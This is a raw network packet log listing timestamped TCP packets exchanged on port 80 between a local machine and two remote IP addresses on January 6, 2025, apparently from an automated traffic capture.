Jan 6, 2025 07:54:03.322518110 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.322531939 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.322542906 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.322551966 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.322556973 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.322637081 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.359833002 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.359846115 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.359863997 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.359874964 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.359890938 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.359901905 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.359911919 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.359922886 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.359935999 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.359989882 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360019922 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.360061884 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360071898 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360081911 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360091925 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360102892 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360121965 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.360152006 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360168934 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360188961 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.360213995 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360224962 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360241890 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360249996 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.360271931 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.360317945 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360357046 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360368967 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360410929 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360421896 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360440016 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.360541105 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360552073 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360574007 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.360578060 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360589981 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360599995 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360604048 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.360747099 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.360789061 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360800982 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360810995 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360826969 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360838890 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360848904 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360851049 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.360861063 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360871077 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360878944 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.360878944 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.360882998 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.360909939 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.360955000 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.361110926 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361121893 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361129045 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361134052 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361140966 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361145973 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361151934 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361265898 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361268044 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.361268044 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.361284018 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361294031 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361304998 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361310005 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.361316919 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361332893 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361335039 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.361346006 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361356974 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361367941 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361372948 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.361394882 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361421108 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.361421108 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.361567020 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361622095 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361634016 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361644983 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.361651897 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.362039089 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.403595924 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.403619051 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.403631926 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.403642893 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.403660059 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.403671026 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.403681993 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.403798103 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.403798103 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.408958912 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.409132957 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.409146070 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.409459114 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.409611940 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.409624100 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.409776926 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.409949064 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.409960985 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.409971952 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.410003901 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.410049915 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.410651922 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.410665035 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.410835028 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.411664963 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411676884 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411688089 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411699057 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411710024 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411720991 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411740065 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411746979 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.411834002 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411851883 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411863089 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411863089 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.411876917 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411876917 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.411891937 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411900997 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411911011 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.411914110 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411926031 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411931992 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411942005 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411957026 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411962032 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.411973953 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411988974 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.411993980 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.412002087 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412013054 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412029028 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.412034988 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412053108 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412064075 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412066936 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.412066936 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.412070990 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412076950 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412081957 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412086964 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412118912 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412128925 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412138939 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412144899 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.412149906 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412161112 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412170887 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412174940 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.412183046 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412194967 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.412199020 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412211895 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412220001 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.412244081 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.412550926 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.446695089 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.446741104 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.446757078 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.446768999 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.446779966 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.446782112 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.446837902 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.446854115 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.446866035 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.446882010 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.446882010 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.446928024 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.446938992 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.446949959 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.446954966 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.446962118 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.446976900 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.446986914 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.446997881 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447010040 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447016954 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447046041 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447069883 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447081089 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447091103 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447101116 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447102070 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447144985 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447149992 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447149992 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447163105 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447293997 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447304964 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447320938 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447330952 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447333097 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447345018 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447351933 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447384119 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447421074 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447520018 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447530031 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447540998 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447551966 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447567940 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447570086 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447582960 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447599888 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447768927 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447781086 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447791100 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447799921 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447803020 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447815895 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447825909 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447827101 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447839022 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447844982 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447926044 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447940111 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447951078 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447956085 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447967052 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447977066 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.447981119 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.447993040 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.448004007 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.448029995 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.448029995 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.448064089 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.448075056 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.448090076 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.448097944 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.448107004 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.448118925 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.448137045 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.448182106 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.448189974 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.448194027 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.448205948 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.448263884 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.490317106 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.490334988 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.490353107 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.490364075 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.490376949 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.490401983 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.490439892 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.490451097 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.490463972 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.490469933 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.490502119 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.490592957 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.494710922 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.494736910 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.494746923 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.494759083 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.494844913 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.494846106 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.494863033 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.494873047 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.494875908 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.494908094 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.494925976 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.494936943 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.494940042 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.494946957 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.494975090 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.494990110 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495002031 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495012045 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495038986 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.495412111 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495424032 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495435953 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495454073 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495464087 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495481014 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495481968 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.495491982 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495503902 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495512962 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.495573044 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.495594025 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495604992 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495615959 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495626926 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495637894 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495656013 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495663881 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.495667934 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495677948 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495687008 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.495690107 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495702028 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.495712996 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.495722055 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.496057987 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.496069908 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.496078968 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.496089935 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.496099949 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.496110916 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.496119022 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.496123075 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.496139050 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.496145964 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.496157885 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:03.496175051 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:03.496366024 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:04.470927000 CET	49712	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:04.475754023 CET	80	49712	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:04.475836992 CET	49712	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:04.476211071 CET	49712	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:04.481086016 CET	80	49712	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:04.481141090 CET	49712	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:04.508980036 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:04.513762951 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:04.513849974 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:04.514368057 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:04.521164894 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.433335066 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.433360100 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.433372974 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.433382988 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.433396101 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.433404922 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.433423996 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.433561087 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.433660030 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.433671951 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.433685064 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.433696032 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.433753014 CET	49713	80	192.168.2.5	166.62.27.188
